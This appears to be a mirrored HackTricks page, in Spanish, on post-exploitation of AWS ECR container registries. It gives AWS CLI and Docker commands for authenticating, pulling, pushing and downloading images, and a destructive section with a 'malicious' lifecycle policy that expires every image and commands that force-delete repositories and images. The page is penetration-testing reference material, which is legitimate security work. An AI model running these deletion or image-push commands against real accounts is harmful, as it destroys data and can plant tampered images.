mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-16 06:42:39 -08:00
93 lines
3.6 KiB
Markdown
93 lines
3.6 KiB
Markdown
# AWS - ECR Post Explotación
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## ECR
|
|
|
|
Para más información consulta
|
|
|
|
{{#ref}}
|
|
../aws-services/aws-ecr-enum.md
|
|
{{#endref}}
|
|
|
|
### Iniciar sesión, Descargar y Subir
|
|
```bash
|
|
# Docker login into ecr
|
|
## For public repo (always use us-east-1)
|
|
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
|
|
## For private repo
|
|
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
|
|
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
|
|
|
|
# Download
|
|
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
|
|
## If you still have the error "Requested image not found"
|
|
## It might be because the tag "latest" doesn't exit
|
|
## Get valid tags with:
|
|
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
|
|
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
|
|
|
|
# Inspect the image
|
|
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
|
|
|
|
# Upload (example uploading purplepanda with tag latest)
|
|
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
|
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
|
|
|
# Downloading without Docker
|
|
# List digests
|
|
aws ecr batch-get-image --repository-name level2 \
|
|
--registry-id 653711331788 \
|
|
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
|
|
|
## Download a digest
|
|
aws ecr get-download-url-for-layer \
|
|
--repository-name level2 \
|
|
--registry-id 653711331788 \
|
|
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
|
```
|
|
Después de descargar las imágenes, debes **verificarlas en busca de información sensible**:
|
|
|
|
{{#ref}}
|
|
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
|
{{#endref}}
|
|
|
|
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
|
|
|
Un atacante con cualquiera de estos permisos puede **crear o modificar una política de ciclo de vida para eliminar todas las imágenes en el repositorio** y luego **eliminar todo el repositorio de ECR**. Esto resultaría en la pérdida de todas las imágenes de contenedor almacenadas en el repositorio.
|
|
```bash
|
|
bashCopy code# Create a JSON file with the malicious lifecycle policy
|
|
echo '{
|
|
"rules": [
|
|
{
|
|
"rulePriority": 1,
|
|
"description": "Delete all images",
|
|
"selection": {
|
|
"tagStatus": "any",
|
|
"countType": "imageCountMoreThan",
|
|
"countNumber": 0
|
|
},
|
|
"action": {
|
|
"type": "expire"
|
|
}
|
|
}
|
|
]
|
|
}' > malicious_policy.json
|
|
|
|
# Apply the malicious lifecycle policy to the ECR repository
|
|
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
|
|
|
|
# Delete the ECR repository
|
|
aws ecr delete-repository --repository-name your-ecr-repo-name --force
|
|
|
|
# Delete the ECR public repository
|
|
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
|
|
|
|
# Delete multiple images from the ECR repository
|
|
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
|
|
|
# Delete multiple images from the ECR public repository
|
|
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
|
```
|
|
{{#include ../../../banners/hacktricks-training.md}}
|